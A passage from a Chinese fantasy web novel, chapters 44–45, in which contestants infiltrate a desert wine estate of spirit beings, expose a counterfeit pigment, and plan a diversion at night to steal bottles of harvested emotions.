“哦,我又不在乎它们,你干嘛解释?”陈离翡说。
“好吧。按老头龛的说法,现在这些龛都在收集七情六欲的情绪,来灌溉葡萄藤。你们已被感染的人,现在是行走的情绪库,如果就这样进入酒庄,很容易成为攻击的对象。”
曲皓尧问:“那我们要怎么进去?用掌心的布条绑住脸吗?”
“这个可以试试。”陈离翡解下,已自动包裹到手臂的麻布条,“还挺长了,足够绑脸了。”
“那柳鸷,你和万宝子,还有谷栖下怎么办?”
柳鸷指了指地上的骸骨,早知道刚刚应该先扒它们的麻布条,再杀了。柳鸷无奈,“一会,去前面看下,有没有其他的龛可以扒的。”
蓦地,一条纯白的麻布条递至柳鸷跟前。柳鸷侧眸,柏封棠淡淡地:“用这个,干净。”
万宝子问:“师兄,那我怎么办?”
柏封棠说:“没了。”
万宝子哼哼两声。
选手们一个个斩断掌心的麻布条,包裹上脸。陈离翡招呼着:“那小孩,我这有多的,给你。”
冷荻和白从欢也匀了些给谷栖夏。
柳鸷刚把脸和脖子包裹好。冷荻将水葫芦拧紧,递给柳鸷,“这水葫芦里,一共收集两份哀、两份惧、一份欲、一份恶,还差喜、怒、爱。交给你保管。你没有感染,比较安全。”
“我怎么觉得我反而更危险,一个酒庄的龛,加上你们,万一全发狂了,那我岂不是完蛋了。”
“不会,我相信你。”冷荻郑重道。
柳鸷被委以重任,接过水葫芦,“我尽力。”
“美人姐姐,不用怕!还有我呢!”万宝子笑嘻嘻地伸出三根食指,“只要这个数,我会拼死保护你的。”
还馋酒?柳鸷偷偷望向柏封棠,看不清他的脸,只见他一幅孺子可教的,搓了搓万宝子的小脑袋瓜。
柳鸷:“......”怎么双标了?
一群人伪装好,为了不引起注意,前后分成三队走。选手们陆续穿过铁栅栏,进入沙绪酒庄,像进了一座西域古城。
酒庄的长街上,人来人往的龛。街道上有许多小摊,贩卖着冰糖葫芦、包子等,街道边是以黄岩石堆砌的房屋商铺,各个招牌上写着。
千峰颜料铺。
天悦颜料铺。
西喜画纸铺。
......
全是和画有关的材料铺。
吃食摆街道,画摆门铺里,看来老头龛这一点没骗人,真是画学兴起。
柳鸷和柏封棠、万宝子、谷栖夏一队。几人路过千峰颜料铺,柳鸷说:“你们在这等我,我进去问问有没有木乃伊棕。”
柏封棠说:“我陪你,你一个人不安全。”
万宝子举手,“我也去。我也去。”
柳鸷连忙摆手,“宝子,你在这里照顾栖夏。这是很重要的任务哦。”
万宝子瞅了瞅谷栖夏,勉为其难道:“好吧。”
柳鸷和柏封棠一前一后进入颜料铺,铺里左右各三排木架上排满了琳琅满目的颜料,还有十来位龛客在选购颜料。
柳鸷看花了眼,揉了下眼睛。柏封棠说:“架子上没有木乃伊棕。”
这时,走过来一位掌柜,“两位要点什么?我们店可是酒庄颜料最全的。”
柳鸷哦了一声,“既然如此,那贵店有木乃伊棕吗?”
44. 酒骨龛(十六)
旁边的龛客一听,也好奇起来,“什么棕?怎么没听过。”
掌柜笑眯眯的,“是个识货的。来,跟我来。”掌柜引着柳鸷到前柜上,从抽屉里递出一小盒子,打开,是细腻的棕色颜料。
“新到的,上好木乃伊棕。用了可以使得你画得人物惟妙惟肖,似如真人。”
旁边的龛客也围过来,“真的这么好吗?多少价?给我来点试试。”
掌柜张开五根手指,“金豆。”
龛客诧异,盒子里的木乃伊棕,约拇指盖大小的量,要五颗金豆。“这么贵!坑人的吧!”
“肯定是,专门骗这种多金的人。”龛客说。
柳鸷看着木乃伊棕,佯装兴致缺缺的模样,“太贵了,不要了,我们走吧。”
掌柜连忙说:“等等,你要诚心想要,我可以这个价给你。”它竖起四根指头。
柳鸷说:“一颗。”
掌柜:“三颗,不能再少了。”
柳鸷坚持:“一颗。”
柏封棠玩味的看着柳鸷杀价。
掌柜:“两颗,真不能再少了。这价格都打骨折了,我成本价都回不来。”
这里这么多木乃伊,随便抓了做不就好了,哪那么多成本,“一颗。不出拉倒。我们走。”
“欸欸......等等等等,一颗就一颗。”
柳鸷打算从体内逼出一颗金豆,柏封棠忽然按住她,“这是赝品,你确定要买?”
柏封棠一语惊人,柳鸷和掌柜都猛地看向他。掌柜一时煞红了脸,指着柏封棠说:“你胡说八道什么!买不起就滚蛋。少在这里砸我的招牌。”
柏封棠探手捻了一抹木乃伊棕,嗅了下,一本正经道:“颜色很像,但没有腐臭味。一般以高岭土、铁矿粉、针铁石和石英等混制而成,能以假乱真。”
连配方都说出来了,掌柜气得手都在抖,“你你......”了半天,没憋出个屁,最后,懦懦道:“你别传出去。会害死我的。”
“哦?”柏封棠轻佻的,“那你不表示表示?”
摆明了要封口费,掌柜说:“都是爱画之人,只要你肯保密,可以在我的铺子里任意挑选颜料带走。”
柏封棠示意柳鸷去挑,柳鸷说:“就你手上这个吧。”
掌柜说:“你确定?这是赝品。”
“嗯。就要这个。”
柳鸷嗅了嗅赝品,含糊道:“果真不臭。你不提早说,我还砍价砍了半天。”柳鸷撇撇嘴,将赝品收进兜里。
“哦~你砍得正起兴,我不好打断。”柏封棠一点儿没觉得自个有错。
柳鸷瞪大了月眼,这痞贱痞贱的模样,让柳鸷恨得牙痒痒。门外忽地,传来万宝子的喊声:“你们这群混蛋!还敢欺负人!”
柳鸷担心万宝子,夺门而出,却见万宝子雄赳赳、气昂昂的双手插着腰,脚下踩着一个高瘦的龛,旁边还躺着两个龛捂着腹部嚎叫。
万宝子揪起龛被布裹住的耳朵,让龛面向旁边,蜷缩在地上浑身是伤的小孩龛,吼道:“快点和它道歉!”
柳鸷已明白怎么回事了,柏封棠才慢悠悠的从铺子里走出来。
万宝子回头,“嘿嘿,师兄。”
三个龛趁万宝子不注意,直接掀翻他,跑了。
万宝子摔在地上,跳起来,见三个龛都跑远了,气得跳脚,“你们!别再让我逮到!不然饶不了你们!”
“你还好吗?”万宝子伸手,要扶起旁边的小孩龛。猛地,冲出来一个女龛,一把拽起小孩龛,骂骂咧咧的,“你这死孩子!不好好画画还跑出来玩!快点起来!跟我回去画画!”
小孩龛的眼泪洇湿了眼角的麻布条,“母亲,我画不出来,我画不出来。”
女龛“啪”地一巴掌打着小孩龛脸上,打完女龛也愣了。
万宝子冲上去推开女龛,“你怎么打人还打自己小孩头上了?”
女龛说:“我教训自己小孩关你什么事?”
“你的小孩?你当它是小孩吗?一个孩子的童年是成为一个龛、被逼着做自己做不了的事情吗?”万宝子气得嘴角的麻布条都要掉落了,还在滔滔不绝的训斥女龛。
“你这种龛,不配为母!自己无能,在外边撒不了气,只会把希望寄托在小孩身上,它都说它画不出来,还要逼它画、逼迫不成还打它!不就是因为它现在比你弱吗?”
女龛愤怒着:“你这没人教的!你懂什么?我这么做都是为它好。滚开。”女龛推开万宝子,蹲下来,缠满麻布条的手掌摩挲着小孩龛的脸上的麻布条,也哭了,“母亲这么做都是为了你!你现在画不出就要多画!只要你要努力画,肯定能画出来的!”
“母亲我不想画......”小孩龛哭着被女龛拉走。
万宝子气鼓鼓的还想追,柏封棠喊了一声,“回来。”
万宝子不满,瞪师兄,“为什么不让我追?”
“你越界了。”
万宝子不解,“可是师兄,你不是教我要尊老爱幼吗?那个小孩龛被逼着做自己不喜欢的事情,我就是想帮它。”
“你帮不了它。出生在这个地方,摊上这样的家人,它的命运便以被决定。除非。”
“什么?”
“等它长大,长得比家人更强大,就没有人可以逼迫它了。”柏封棠说完,目光投向柳鸷。
全程旁观的柳鸷别过眼,走到谷栖夏旁边去,“栖夏,你刚有伤到吗?”
谷栖夏摇了摇头。
柳鸷耳边的空气,突然传出冷荻的声音,“柳鸷,从颜料铺往前一百米,左拐、直行五百米,我们在这里看见墓碑了。”
柳鸷欣喜,背过身取出金箔,两指轻按,“冷荻,墓碑有钤印吗?”
“有,四个钤印!”
“好,马上来。”柳鸷顾不上脚的疼痛,牵着谷栖夏,催促柏封棠和万宝子速度些。几个人飞快过去,选手们都来了。
一个石面粗糙的墓碑,静静的矗立在一堵高耸的围墙下。墓碑上镌刻的:展绪之墓,四个字似乎被风沙侵蚀过,展字的尸字头都已经斑驳的不清。
但确实有四个相同钤印,都是展绪之
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印。
“为什么钤印越来越多了?到底什么意思啊?”陈离翡问。
柳鸷把先前和画人柳鸷的猜测,与选手们重复了一边。冷荻听明白了,总结着:“也就是说,我们之前都在一幅幅画里,而现在我们所在的场景是第五幅画。”
“对。龛主在画外监视着我们,此刻亦然。”
“啊??”陈离翡立即双手捂住裆部,“不是吧?那我之前、之前撒个肥尿也都被它看光光了?”陈离翡继续追问:“这龛主男的女的?啊!墨墨都怪你!当时还不让我扒光干尸瞧瞧男女!”
“......”众人满额飘过黑线。这清奇的脑回路!也是无敌了。
一路都闷声不吭的白从欢,忽然开口,“进入神龛前,阙庭给的龛品是一只钗笔。结合小鸷的说法,既然是画,那龛主大概率是用那只钗笔画,如果我们能拿到钗笔,是不是可以画一个千菲出来?”
冷荻皱了下眉说:“小白,我知道你很难过。但是。”
柳鸷的手覆在冷荻后腰上,示意她,转而说:“小白,你说得方法也可以一试,但不管最后是否能复活她,你要记住,她都活在我们心里。”
陈离翡也安慰着:“她肯定也希望你好好活着,继续做快乐的小白。”
白从欢杏眼红红的,氤氲着水雾,嘴角扬起了笑,“谢谢你们。我好着呢。”
“我认识的小白,快乐美丽又泼辣,可不是爱哭鬼哦。”
“我才没哭。”
柳鸷拍了拍她,才转回正题,抬了抬下巴,“墓碑后面的这堵墙后是什么,你们看过没?”
冷荻欲言又止,“是葡萄园。”
原来冷荻这队,方才借买糖葫芦之由,和小摊贩的龛打听,才知道龛主以九块金条为赏金,吸引神龛内所有的龛学习画画,若画出龛主赏识的画便可得九块金条,成为上阶龛,成为龛主的左膀右臂。
所以,沙绪酒庄内的所有龛,都在学习画画。但百年来无一龛,能够成为龛主的入目之宾。
后来,葡萄藤被感染、酿不出美酒。龛主喜酒,宣布献酒者可得它亲自授予画艺。所以酒庄内的龛开始收集情绪,灌溉葡萄藤,试图酿出美酒贡献给龛主。
冷荻方才就是循着葡萄园的外围,无意间找到了这座墓碑。冷荻提醒:“下一次的酒骨龛就在五天后。按照规则,我们也要参加这场酒骨龛。”
柳鸷明白,“我进去看下感染的小葡萄们。”
“我也去。”陈离翡说。接着,曲皓尧等人都跟上了。
选手们三两步翻上高墙,还没顺着墙翻下去,柳鸷俯瞰到满园的葡萄。那一瞬间,柳鸷震惊得足以令她周身的血液都凝固了。
十排高耸的葡萄藤,真叶肥硕、鲜红,并以一寸的距离,整齐有序的排列着在沙土里。其中,第八排和十排之间,空了一处沙砾,这和柳鸷当初播下葡萄籽、未出芽的位置是同一个位置。
“这几排葡萄怎么看着有点眼熟啊!”陈离翡嘟囔着,挠挠额头,又挠挠脸颊,“卧槽!这这不会就是我们当初种下的吧?”
45. 酒骨龛(十七)
“看起来是。”秦为墨回应。
柳鸷跳下高墙,捻起葡萄藤下的沙砾。沙砾细而松软、孔隙度适宜,和他们当初种下的土壤环境是一样的。
但他们从第一幅画到现在,才两天时间,怎么就变成龛口中的几十余年?除非龛主给每一幅画都定义了时间。
这些葡萄藤在他们种下那一刻,就已经感染了。没有哪一类品种的葡萄籽在刚种下就立马出芽、长出真叶。
真叶脉络粗大、纹理交杂、清晰。
陈离翡疑惑,“为什么感染的葡萄光长叶子不长果子?”
曲皓尧说:“我听说这是果树的假死。葡萄藤假死,需要用生来激活它。而七情六欲恰好是生灵的情绪,龛们用情绪浇灌看来没错。”
“在想什么?”柳鸷食指缠着发丝,被柏封棠打断,“我在想,如果这是我们当初种的葡萄苗,那么,画人他们很可能也到这座沙绪酒庄了。”
这一片沙漠,就像莫比乌斯环一样,不论他们往北走多远,总会再回到初入神龛的地点,遇见一样的墓碑。他们第二次没挖到棺材,只是因为是画,所以空间变了。
倘若这个猜想成立,那么他们和画人们即使背道而驰,也会有相遇的一日。
“按时辰算,应该已经到了。”
柳鸷思忖着,“不管怎么说,先去找剩下的情绪。”
葡萄园前方有一阵铁门推开的嘎吱声,伴随着交谈声。“有龛来了,先出去。”柏封棠带着几人迅速翻墙而出。
几个人没下墙,而趴在墙头偷看。
葡萄园进来两个龛,一个龛对旁边一个身材粗犷的龛,毕恭毕敬道:“仲爷,这园子我们守得严实着,我保证一只虫子都飞不进来。”
仲爷在葡萄藤旁扫了一圈,安下心,“嗯,守好了,等今晚开完盒子,就能成了。”
“那太好了,恭喜仲爷。”
等两个龛走了,几人才跳下墙。
白从欢问:“你们刚趴墙上,干什么?”
陈离翡把刚才偷听到转达,“但不知道它说得开盒子是什么意思?”
柳鸷说:“很可能是那个仲爷找到了所有的情绪,今晚就会浇灌葡萄藤了。”
“那我们守在这里,今晚抢它收集的情绪,或者葡萄?”
不远处,有两个龛看过来了,柳鸷嘘了一声,其他人都安静了。十多个人一起实在显眼,“分开走,先离开这里。”
柳鸷、柏封棠带着万宝子和谷栖夏蹿了两条街,最后在街尾寻到一处破屋。屋子的土坯墙上裂痕深深,屋门半掩,随着微风嘎吱、嘎吱作响。
“好像没龛住。我去看看。”柳鸷推开门,哗啦一声,细小的沙粒顺着门缝流下。屋内,沙尘堆积,蛛网满檐。
柏封棠紧随在柳鸷身后,以扇子撩开蛛网,扫视四周,“没问题。”
“栖夏,宝子,进来。”柳鸷用金箔唤了其他选手过来汇合。
一进入屋子,谷栖夏的手在不耐烦的挠脸。柳鸷问:“栖夏,你怎么了?”
“我觉得脸好痒。”
“你别动,我看看。”柳鸷把谷栖夏脸上的麻布条拆开一点,谷栖夏紧咬着牙,柳鸷拆开一条麻布条,心头一颤。
谷栖夏脸上的皮肤被侵蚀成一条条血痕和脓液,已有溃烂的迹象。万宝子也被吓得一跳,双手交叉捂住小嘴,硬生生地恐怖两个字咽下喉咙。
柳鸷检查手中的麻布条,麻布条黏着血肉撕开,应该是痛的,但谷栖夏没吭声。
“你什么时候开始觉得痒?”
“就刚刚。”
柏封棠说:“麻布条开始吞噬血肉了,柳鸷,你先把脸上的麻布条拆了。”
“等等,我还没感觉,先拆栖夏的。”柳鸷对着谷栖夏的伤口轻轻吹气,边吹边撕,安抚着,“忍一下,我轻点撕。”
柳鸷为了减轻谷栖夏的痛感,撕得很慢。万宝子和柏封棠都撕掉了脸上的麻布条了,万宝子脸上只有几道边缘性的血痕,柏封棠几乎无碍。
等柳鸷拆完,想给谷栖夏上药。柏封棠将药丢给万宝子,拽着柳鸷到角落,亲手帮她拆麻布条。
麻布条内里染满金色的液体,柏封棠的动作小心,一点点撕开麻布条,脸颊成一条条流金血痕。万幸的是,伤口不深、没有化脓。
“那小孩,你和谷栖夏脸怎么了?”陈离翡的声音随着推门的声音传入,身后还跟着秦为墨和曲皓尧。
柳鸷立马背过身,没了麻布条汲取,流金血从脸颊淌下来!
柏封棠宽大、粗粝的手掌一把捧住柳鸷的脸颊,捂住落下的流金血,掌心的温度裹挟着源源不断的法力,窜进柳鸷的脸颊。
“诶,柳鸷、你和柏神躲那里接吻吗?”陈离翡还在打趣,被柏封棠白了一眼。
秦为墨立刻发现不对劲了,和万宝子异口同声,“快把脸上的麻布条拆了。”
冷荻和白从欢等人抱着刚买的糖葫芦到门口时,里头就传来陈离翡的痛呼,“他妈的,老子毁容了!再也不英俊倜傥了!不过没关系!这样就没女人刚靠近我了!啊!痛死我了!墨墨你轻点!”
冷荻推开门,撞击眼帘的是一脸溃烂,只能凭借一双桃花眼和宝蓝色的衣裳辨别,那是陈离翡。
旁边的秦为墨未拆布条,在帮陈离翡上药,“别说话,药都说掉了。”
曲皓尧的脸颊有小片小片的血痕,手上抓着布条说:“你们快拆,这布条会吃血肉。”
冷荻等人匆匆拆掉,都有不同程度的血痕,但情况尚可。
柏封棠松开柳鸷的脸,“没事了。”
柳鸷摸了摸脸颊,已完好如初。抬眸,柏封棠赤红的眼眸闪了闪,额头冒出细密的汗,单手撑在旁边的桌子上。
柳鸷扶柏封棠坐下,抓着衣袖轻拭他额间的汗液,“你还好吗?”
柏封棠的睫毛微颤,半晌没动静。
柳鸷忽然凑近,“你怎么了?”她的脸在柏封棠的瞳孔里放大,柏封棠呼吸滞了一下,克制地撇过眼,“我没事。”
“你确定?可是你的脖子到耳根都在泛红耶。”
柏封棠立马探手捂住脖子和耳朵,哑声:“法力缺失的后遗症,不碍事。”
柳鸷犹疑了下,低头悄声说:“那你要喝点我的血补补吗?”
淡淡的、独属于柳鸷的甜美气息飘进柏封棠的鼻息,这对他是致命的诱惑,柏封棠的手蜷缩成拳置于腿上,隐忍的、颤着音,“不用,你去看看他们。”
等柳鸷轻快的离开,柏封棠如释重负般松了一口气,周身甜美的气息消散,柏封棠定定地坐着,神色莫测地凝视着自己淌着流金血的手掌。
掌中发力,流金血尽数融进手掌之中。
柳鸷扫过一圈选手们脸上的伤口,轻重程度似乎和选手法力等级有关。当初被感染发狂时也是如此。法力越高,克制力越强,伤口就越轻。
白从欢疑惑,“小鸷,你怎么没事?”
柳鸷四两拨千斤,大拇指向后比了比角落里的柏封棠,“疗过伤了。”
白从欢杏眼亮了,兀自伸手掐住柳鸷的脸颊,捏捏,“听说过柏神的法力强到有治愈之力,今日所见,果然名不虚传。”
万宝子盯着桌上,油纸包裹的糖葫芦,馋很久了,“冷姐姐,这个......”
“刚才路过小摊就买了些,你们看下要不要吃点。”冷荻拍拍白从欢的手,“好了,都别闹了。现在这麻布条不能再用,天也快黑了,尽快商议下晚上的行动。”
万宝子可没管晚上什么行动,抓起一根糖葫芦就往嘴里塞,手突然被飞来的石子弹中,一抖,糖葫芦噔噔地掉在地上。
万宝子水灵灵的眸子一瞬惊讶一瞬怒意,捂着手朝窗口大喊,“是谁?谁躲在窗外要暗害本宝的糖葫芦?”
万宝子还在喊,窗外的影子动了下,柳鸷飞速过去,破窗径直将影子拽了进来。
“是你。”
先前街上遇见的小孩龛,此刻正无措的站着屋子中央,眼神惊恐,不敢看人。
万宝子说:“你为什么要害我?”
小孩龛连连摆手,指着桌上的糖葫芦说:“迷药、不吃。”
柳鸷眼神询问冷荻,冷荻说:“路上随手买的,没吃过。”
小孩龛说:“这个、吃了、会晕、会被抓、去、开盒子。”
“开盒子是指开脑子、挖情绪吗?”柳鸷问。小孩龛点点头,“今晚、城门、就有开。”
看来,他们之前会错了意。
“那你知道他们现在收集到哪些情绪了吗?”
小孩龛摇摇头,“其他、容易,唯喜、爱难。但仲爷、好像、就缺、爱了。”
柳鸷明白了,“这仲爷估计抓到了什么疑似爱的龛或人,今晚会在城门前开盒。”
陈离翡说:“那我们今晚去城门看看?”
白从欢反讽,“你脸这样,是去不了。”
柳鸷从袖兜里掏出两颗山楂糖丸递给小孩龛,温声道:“小孩,你看见我们的样貌了,所以我们暂时不能放你走。你乖乖呆在这,我们不会杀你的。喏,这两颗糖没毒,给你吃。”
小孩龛没敢伸手,柳鸷放进它手里。万宝子盯着两颗山楂糖丸,咽了下口水,小孩龛朝万宝子伸出手掌,掌心躺着两颗山楂糖丸,“给你。”
这给万宝子整不好意思了,“那我们一人一颗吧。”
柳鸷交代,“宝子,你带它去那边玩会。”万宝子鬼精的很,瞬时明白了柳鸷的言外之意,“美人姐姐,放心。”
柳鸷听得门外有声,示意众人安静。外头传来一道声音,“奇怪,刚刚明明往这个方向走,怎么不见了?”
“去屋子里找找,能找到今晚还能多开几个盒子。”
冷荻说:“大概是跟着我来的,我去处理。”
“一起,速度要快,不要闹大。”柳鸷扬开大拇指,剑握于手中。
柏封棠踱步过来,淡淡道:“去吧
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,打不过记得叫我。”
白从欢摆摆手,“那你俩去吧,要真打不过,大不了我们把这一片掀它个翻天覆地。”
柳鸷和冷荻从窗口出去,循声,有两个龛在隔壁屋,俩人身形灵动、轻盈地跳上黄土堋顶,一左一右在门檐上候着。
片刻,两个龛骂骂咧咧地从屋里出来,“再去隔壁看看。”
柳鸷和冷荻蓄力,从背后突袭,剑影闪烁,柳鸷一剑抹掉对方的头颅,当场鲜热血飞溅。
冷荻的刀刚猛凌厉的贯穿另一个龛的心脏,龛不可置信地回头,“怎么......是你们......你们......逃出......”它旋身,倒在地上,死了。
冷荻问:“它们认识我们。”
柳鸷思忖,“不,是认识我们这张脸,很可能,画人他们被仲爷抓了。”
“你的意思是,今晚要开要的盒子是画人他们?”
柳鸷嗯了一声,两个龛的尸体化为骸骨,流出两片金箔,与两个血字的恶。“恶,有了。这两份也先收着吧。”
两人各拖着一具骸骨丢进屋子里,又从窗口翻回原来的破屋,将消息传达给众人。
柏封棠问:“如果真的是要开盒画人,你们打算救他们吗?”
众人你看看我,我看看你,皆未作答。只有陈离翡负气地冒出一句,“我不要救画人陈离翡,救了他,他要是看见我这张脸指不定怎么笑话我。”
众人:“......”
柳鸷说:“等天黑了,过去看看,见机行事。”
选手们商议过后,决定柳鸷、柏封棠、冷荻、白从欢、曲皓尧等五人借黑夜,混到城门去探查下。
其余人以秦为墨为首,留守此地。
选手们有的啃干粮,有的小憩打盹,屋子里很安静,只充斥着两个小孩的轻快的声音。
小孩龛轻声问:“你都不用画画吗?”
万宝子努努嘴,“画过,但我不喜欢,就没画了,我比较喜欢跟着师兄游山玩水。”
“外面的时间是什么样子?”
“有很多好吃的、好玩的......”万宝子欢快的说着他的所见所闻,小孩龛清澈的眼眸里充满了希翼。
当最后一丝余晖悄然坠下沙丘,天幕披上洒着细碎星钻的黑帘,柳鸷等人踏着月色出了门。
柳鸷等人避开主街道,行在暗处,一路从后抄小路前进,但还未至城门,隔着小巷望,主街道上的龛们,摩肩接踵,熙攘往前。
柳鸷等人根本无法混入其中,只能继续沿着小路,直到城门前,连小巷里都挤满了龛。
几人寻了一处屋子,翻进二楼,迅速杀了屋内的三个龛,收了三片金箔和三个恶的情绪,站着直棂窗旁,刚好可以望见城门。
古老的城门空地,高架起擂台,八根柱子高悬着八盏巨大的灯笼,灯光在风中摇曳,照亮着台下,一张偌大的红桌。
红桌上一线划两边,左为爱,右为无。两边都堆满了不少金箔和金豆。
桌左旁的龛说:“听说今晚这几个盒子是刚从外头进来的,我赌仲爷今夜能了了夙愿。”
对面的龛反诘:“这可说不准,仲爷开了几十年了,也没开到爱的情绪。”
“我赌能开出来。”
......
龛们的讨论声,热闹得像炸开了锅。
直棂窗底下,龛们的头颅涌动着挤向前,像极了一场狂欢的盛宴。
这时,擂台旁的鼓声“嘭!嘭!嘭嘭!”的擂动,如同战鼓的击声,令以底下所有的龛热血沸腾。
“盒子”们被捆绑着压上擂台。
果真是画人他们。一个个面无表情,神色呆滞的垂丧着头,不知道中了什么邪。
仲爷紧随其后上台,开始讲话。
柳鸷扫过擂台周边,“台上只有冷、白、陈、曲、谷、罗六个画人,看来柳鸷和秦为墨没被抓。”
白从欢说:“按秦哥的性格,一定躲在哪里,说不准一会出来劫陈离翡。”
曲皓尧瞅了瞅台上的画人,“那我们要帮他吗?”
“不帮。”柏封棠说:“出门前,为墨交代过,不用救画人的秦为墨和陈离翡。双生花,彼此爱护又争斗,直到一方死亡。他不能杀画人的自己,否则被视为自杀违规,所以他不杀画人,也不会救画人。”
冷荻说:“我赞同秦哥的观点。我们的重点是收集情绪,酿酒。至于今晚画人是死是活,全凭命运安排。”
曲皓尧点了点头,“让我看着自己死,有点残忍,我还是不看了。”
柳鸷说:“曲哥,你去葡萄园,一会听我指挥,放火烧了园子。”
“啊?烧了葡萄园,我们拿什么酿酒?”
“你放心,就是声东击西下,这些人会过去救火的。”
冷荻蹙眉,“柳鸷,你想救画人?”
“不,我看中了台上的情绪。我要抢仲爷手中的情绪瓶。”柳鸷狡黠的笑了。